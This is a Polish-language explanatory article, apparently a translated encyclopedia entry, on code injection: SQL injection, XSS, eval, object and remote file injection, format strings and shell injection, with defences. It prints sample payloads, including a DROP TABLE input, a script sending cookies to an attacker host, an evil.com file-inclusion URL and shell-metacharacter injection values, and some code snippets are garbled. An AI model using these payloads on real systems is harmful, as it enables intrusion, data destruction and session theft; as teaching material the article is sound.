SQL injectionEdit
Wstrzyknięcie SQL wykorzystuje składnię języka SQL do wstrzyknięcia poleceń, które mogą odczytać lub zmodyfikować bazę danych, lub naruszyć znaczenie oryginalnego zapytania.
Na przykład rozważ stronę internetową, która ma dwa pola umożliwiające użytkownikom wprowadzenie nazwy użytkownika i hasła. Kod znajdujący się za stroną wygeneruje zapytanie SQL w celu sprawdzenia hasła względem listy nazw użytkowników:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'Password'
Jeśli zapytanie to zwróci jakiekolwiek wiersze, dostęp zostanie przyznany. Jeśli jednak złośliwy użytkownik wprowadzi poprawną nazwę użytkownika i wstrzyknie poprawny kod (password' OR '1'='1
) w pole hasła, zapytanie będzie wyglądało następująco:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'password' OR '1'='1'
W powyższym przykładzie założono, że „hasło” jest puste lub jest to niewinny ciąg znaków. „'1'='1'
” będzie zawsze prawdziwe i wiele wierszy zostanie zwróconych, umożliwiając w ten sposób dostęp.
Technika ta może być udoskonalona, aby umożliwić uruchamianie wielu instrukcji, a nawet ładowanie i uruchamianie zewnętrznych programów.
Załóżmy, że zapytanie ma następujący format:
SELECT User.UserIDFROM UserWHERE User.UserID = ' " + UserID + " 'AND User.Pwd = ' " + Password + " '
Jeśli adwersarz ma następujące dane wejściowe:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
zapytanie zostanie sparsowane w następujący sposób:
SELECT User.UserIDFROM UserWHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='
W wyniku tego tabela User
zostanie usunięta z bazy danych. Dzieje się tak, ponieważ symbol ;
oznacza koniec jednego polecenia i początek nowego. --
oznacza początek komentarza.
Cross-site scriptingEdit
Wstrzykiwanie kodu to złośliwe wstrzykiwanie lub wprowadzanie kodu do aplikacji. Niektóre serwery WWW mają skrypt księgi gości, który przyjmuje małe wiadomości od użytkowników i zazwyczaj otrzymuje wiadomości takie jak:
Very nice site!
Jednakże złośliwa osoba może wiedzieć o luce w księdze gości i wprowadzić wiadomość taką jak:
Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>
Jeśli inny użytkownik wyświetli stronę, wstrzyknięty kod zostanie wykonany. Kod ten może pozwolić atakującemu na podszycie się pod innego użytkownika. Jednak ten sam błąd w oprogramowaniu może zostać przypadkowo wywołany przez niefrasobliwego użytkownika, co spowoduje, że strona wyświetli zły kod HTML.
Wstrzykiwanie kodu HTML i skryptu jest popularnym tematem, powszechnie określanym jako „cross-site scripting” lub „XSS”. XSS odnosi się do błędu wstrzyknięcia, w którym dane wejściowe użytkownika do skryptu sieciowego lub czegoś podobnego są umieszczane w wyjściowym HTML, bez sprawdzenia kodu HTML lub skryptu.
Wiele z tych problemów jest związanych z błędnymi założeniami, jakie dane wejściowe są możliwe, lub efektami specjalnych danych.
Luki w dynamicznej ewaluacjiEdit
Leki polegające na wstrzykiwaniu eval()
występują, gdy atakujący może kontrolować cały lub część łańcucha wejściowego, który jest podawany do wywołania funkcji eval()
.
$myvar = 'somevalue';$x = $_GET;eval('$myvar = ' . $x . ';');
Argument „eval
” będzie przetwarzany jako PHP, więc dodatkowe polecenia mogą być dołączane. Na przykład, jeśli „arg” zostanie ustawiony na „10; system('/bin/echo uh-oh')
„, zostanie uruchomiony dodatkowy kod, który wykona program na serwerze, w tym przypadku „/bin/echo
„.
Object injectionEdit
PHP pozwala na serializację i deserializację całych obiektów. Jeśli do funkcji deserializacji zostaną dopuszczone niezaufane dane wejściowe, możliwe jest nadpisanie istniejących w programie klas i przeprowadzenie złośliwych ataków. Taki atak na Joomla został wykryty w 2013 roku.
Zdalne wstrzyknięcie plikuEdit
Rozważmy ten program PHP (który zawiera plik określony przez żądanie):
<?php$color = 'blue';if (isset($_GET)) $color = $_GET;require($color . '.php');
Przykład może być odczytany jako tylko pliki kolorystyczne takie jak blue.php
i red.php
mogą zostać załadowane, podczas gdy atakujący mogą dostarczyć COLOR=http://evil.com/exploit
powodując, że PHP załaduje zewnętrzny plik.
Format specifier injectionEdit
Błędy związane z ciągiem formatu najczęściej pojawiają się, gdy programista chce wydrukować ciąg zawierający dane dostarczone przez użytkownika. Programista może przez pomyłkę napisać printf(buffer)
zamiast printf("%s", buffer)
. Pierwsza wersja interpretuje buffer
jako łańcuch formatu i przetwarza wszelkie instrukcje formatowania, jakie może on zawierać. Druga wersja po prostu wypisuje łańcuch na ekran, zgodnie z intencją programisty.Rozważmy następujący krótki program w języku C, który ma zmienną lokalną char array password
przechowującą hasło; program prosi użytkownika o podanie liczby całkowitej i łańcucha, a następnie wypisuje łańcuch podany przez użytkownika.
char user_input; int int_in; char password = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;
Jeśli dane wejściowe użytkownika są wypełnione listą specyfikatorów formatu, takich jak %s%s%s%s%s%s%s%s
, to printf()
zacznie czytać ze stosu. W końcu jeden z %s
specyfikatorów formatu uzyska dostęp do adresu password
, który znajduje się na stosie, i wydrukuje Password1
na ekranie.
Wstrzykiwanie powłokiEdit
Wstrzykiwanie powłoki (lub wstrzykiwanie poleceń) zostało nazwane na cześć powłok systemu Unix, ale dotyczy większości systemów, które pozwalają oprogramowaniu na programowe wykonywanie wiersza poleceń. Oto przykład podatnego na ataki skryptu tcsh:
#!/bin/tcsh# check arg outputs it matches if arg is one if ( == 1) echo it matches
Jeśli powyższe jest zapisane w pliku wykonywalnym ./check
, polecenie powłoki ./check " 1 ) evil"
będzie próbowało wykonać wstrzyknięte polecenie powłoki evil
zamiast porównywać argument ze stałym. W tym przypadku, atakowany kod jest kodem, który próbuje sprawdzić parametr, ten sam kod, który mógł próbować zatwierdzić parametr w celu obrony przed atakiem.
Każda funkcja, która może być użyta do skomponowania i uruchomienia polecenia powłoki jest potencjalnym narzędziem do przeprowadzenia ataku wstrzyknięcia powłoki. Wśród nich są system()
, StartProcess()
i System.Diagnostics.Process.Start()
.
Systemy klient-serwer, takie jak interakcja przeglądarki internetowej z serwerami WWW, są potencjalnie podatne na wstrzyknięcie powłoki. Rozważmy następujący krótki program PHP, który może być uruchomiony na serwerze WWW w celu uruchomienia zewnętrznego programu o nazwie funnytext
, aby zastąpić słowo wysłane przez użytkownika innym słowem.
<?phppassthru("/bin/funnytext " . $_GET);
Komenda passthru
w powyższym przypadku tworzy polecenie powłoki, które jest następnie wykonywane przez serwer WWW. Ponieważ część polecenia, które komponuje, pochodzi z adresu URL dostarczonego przez przeglądarkę, pozwala to na wstrzyknięcie złośliwych poleceń powłoki. Można wstrzyknąć kod do tego programu na kilka sposobów, wykorzystując składnię różnych funkcji powłoki (lista ta nie jest wyczerpująca):
Funkcja powłoki | USER_INPUT wartość |
Wynikowe polecenie powłoki | Wyjaśnienie |
---|---|---|---|
Sekwencyjne wykonanie | ; malicious_command |
/bin/funnytext ; malicious_command |
Wykonuje funnytext , a następnie wykonuje malicious_command . |
Pipelines | | malicious_command |
/bin/funnytext | malicious_command |
Wysyła dane wyjściowe z funnytext jako dane wejściowe do malicious_command . |
Zastępowanie poleceń | `malicious_command` |
/bin/funnytext `malicious_command` |
Wysyła dane wyjściowe z malicious_command jako argumenty do funnytext . |
Zastępowanie poleceń | $(malicious_command) |
/bin/funnytext $(malicious_command) |
Wysyła dane wyjściowe z malicious_command jako argumenty do funnytext . |
AND list | && malicious_command |
/bin/funnytext && malicious_command |
Wykonuje malicious_command , jeśli funnytext zwraca kod zakończenia 0 (sukces). |
OR list | || malicious_command |
/bin/funnytext || malicious_command |
Wykonuje malicious_command iff funnytext zwraca niezerowy status wyjścia (błąd). |
Przekierowanie wyjścia | > ~/.bashrc |
/bin/funnytext > ~/.bashrc |
Nadpisuje zawartość pliku .bashrc danymi wyjściowymi funnytext . |
Przekierowanie wejścia | < ~/.bashrc |
/bin/funnytext < ~/.bashrc |
Wysyła zawartość pliku .bashrc jako wejście do funnytext . |
Niektóre języki oferują funkcje do poprawnej ucieczki lub cytowania łańcuchów, które są używane do konstruowania poleceń powłoki:
- PHP:
escapeshellarg()
iescapeshellcmd()
- Python:
shlex.quote()
Jednakże, to nadal nakłada ciężar na programistów, aby wiedzieli/uczyli się o tych funkcjach i pamiętali, aby z nich korzystać za każdym razem, gdy używają poleceń powłoki. Oprócz używania tych funkcji, zalecana jest również walidacja lub sanityzacja danych wejściowych użytkownika.
Bezpieczniejszą alternatywą jest używanie API, które wykonują zewnętrzne programy bezpośrednio, a nie przez powłokę, zapobiegając w ten sposób możliwości wstrzyknięcia powłoki. Jednakże, te API zwykle nie obsługują różnych wygodnych funkcji powłoki i/lub są bardziej kłopotliwe/głębokie w porównaniu do zwięzłej składni powłoki.
.